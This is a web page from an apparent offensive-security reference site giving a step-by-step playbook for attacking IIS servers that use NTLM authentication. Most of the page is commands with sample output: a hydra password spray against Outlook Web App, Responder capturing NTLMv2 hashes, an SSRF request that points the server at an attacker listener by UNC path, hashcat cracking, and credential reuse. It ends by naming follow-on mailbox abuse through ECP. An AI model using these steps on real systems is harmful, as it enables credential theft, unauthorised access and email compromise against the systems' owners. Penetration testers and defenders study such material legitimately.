Skip to content
HackIndex logo

HackIndex

IIS Windows Authentication Attacks

4 min read Jun 19, 2026

IIS sites using Windows Authentication — NTLM or Negotiate — present an authentication surface attackable through credential spraying, NTLM hash capture via Responder, and pass-the-hash when NTLMv1 is negotiated. NTLM info extracted during IIS enumeration provides the domain name and hostname needed to target these attacks correctly.

Confirm NTLM Authentication Surface

┌──(kali㉿kali)-[~]
└─$ curl -skI http://$TARGET_IP/ | grep -i 'www-authenticate' 
WWW-Authenticate: Negotiate
WWW-Authenticate: NTLM
┌──(kali㉿kali)-[~]
└─$ nmap -p 80,443 --script http-ntlm-info $TARGET_IP 
| http-ntlm-info:
|   Target_Name: COMPANY
|   NetBIOS_Domain_Name: COMPANY
|   DNS_Domain_Name: company.local
|   DNS_Computer_Name: web01.company.local
|_  Product_Version: 10.0.17763
Explain command
-p 80,443 Scan only ports 80 and 443.
--script http-ntlm-info Run NSE script to extract NTLM info from HTTP auth headers.
$TARGET_IP Placeholder for the target host IP address.

Credential Spraying Against OWA

Outlook Web App on Exchange is the most common NTLM-authenticated IIS target. Spray one password across all known user accounts. OWA returns distinct responses for valid versus invalid credentials:

┌──(kali㉿kali)-[~]
└─$ # Confirm OWA login response patterns
┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST https://$TARGET_IP/owa/auth.owa -d 'username=admin&password=wrongpass&flags=4' -D - | grep -iE 'location|set-cookie|302|401' 
HTTP/2 302
Location: /owa/auth/logon.aspx?reason=2
┌──(kali㉿kali)-[~]
└─$ hydra -L /tmp/users.txt -p 'Password123' -s 443 $TARGET_IP https-post-form "/owa/auth.owa:username=^USER^&password=^PASS^&flags=4:reason=2" -t 5 -W 3 
[443][https-post-form] host: 10.10.10.50   login: [email protected]   password: Password123
Explain command
-L /tmp/users.txt Load usernames from the specified file.
-p 'Password123' Use a single fixed password for all attempts.
-s 443 Override the default port with 443 (HTTPS).
$TARGET_IP Placeholder for the target host IP address.
https-post-form Use HTTPS POST form-based authentication module.
/owa/auth.owa:username=^USER^&password=^PASS^&flags=4:reason=2 Form path, POST body with credential placeholders, and failure string.
-t 5 Run 5 parallel connection tasks simultaneously.
-W 3 Set wait time between each connection attempt to 3 seconds.

NTLM Hash Capture with Responder

When the IIS server or a client can be made to authenticate to an attacker-controlled host, Responder captures the NTLMv2 hash for offline cracking. Set up Responder on the network interface facing the target:

┌──(kali㉿kali)-[~]
└─$ responder -I eth0 -wrf 
[+] Listening for events...
[SMB] NTLMv2-SSP Client   : 10.10.10.50
[SMB] NTLMv2-SSP Username : COMPANY\web_service
[SMB] NTLMv2-SSP Hash     : web_service::COMPANY:aabbccdd:HASH
Explain command
-I eth0 Specifies the network interface to listen on.
-w Starts the WPAD rogue proxy server.
-r Enables answers for NetBIOS wredir suffix queries.
-f Fingerprints the remote host OS via NBT-NS queries.

Trigger authentication from IIS to your Responder listener by inducing an SSRF via the web application — if a URL parameter fetches remote content, point it at your Responder listener IP using a UNC path:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP/fetch?url=\\\\$LHOST\\share"

Crack Captured NTLMv2 Hash

┌──(kali㉿kali)-[~]
└─$ hashcat -m 5600 captured_hash.txt /usr/share/wordlists/rockyou.txt 
web_service::COMPANY:...:Password123
Explain command
-m 5600 Sets hash type to NetNTLMv2 for cracking.
captured_hash.txt Input file containing the captured hash to crack.
/usr/share/wordlists/rockyou.txt Wordlist file used for dictionary-based cracking.

Test Credentials Against IIS with NTLM Auth

Use cracked or sprayed credentials against the NTLM-protected IIS site directly:

┌──(kali㉿kali)-[~]
└─$ curl -sk --ntlm -u "COMPANY\\$USER:$PASSWORD" http://$TARGET_IP/ | grep -iE 'welcome|dashboard|logged in' 
<title>Welcome - Internal Portal</title>
┌──(kali㉿kali)-[~]
└─$ curl -sk --ntlm -u "COMPANY\\$USER:$PASSWORD" http://$TARGET_IP/admin/ -D - | grep -iE 'HTTP|location|content-type'

Valid credentials against an NTLM-protected IIS site often provide access to the ECP (Exchange Control Panel) or other administrative interfaces. ECP access enables creating new mailbox rules, forwarding all mail, and resetting passwords — high-impact lateral movement paths in Exchange environments.

References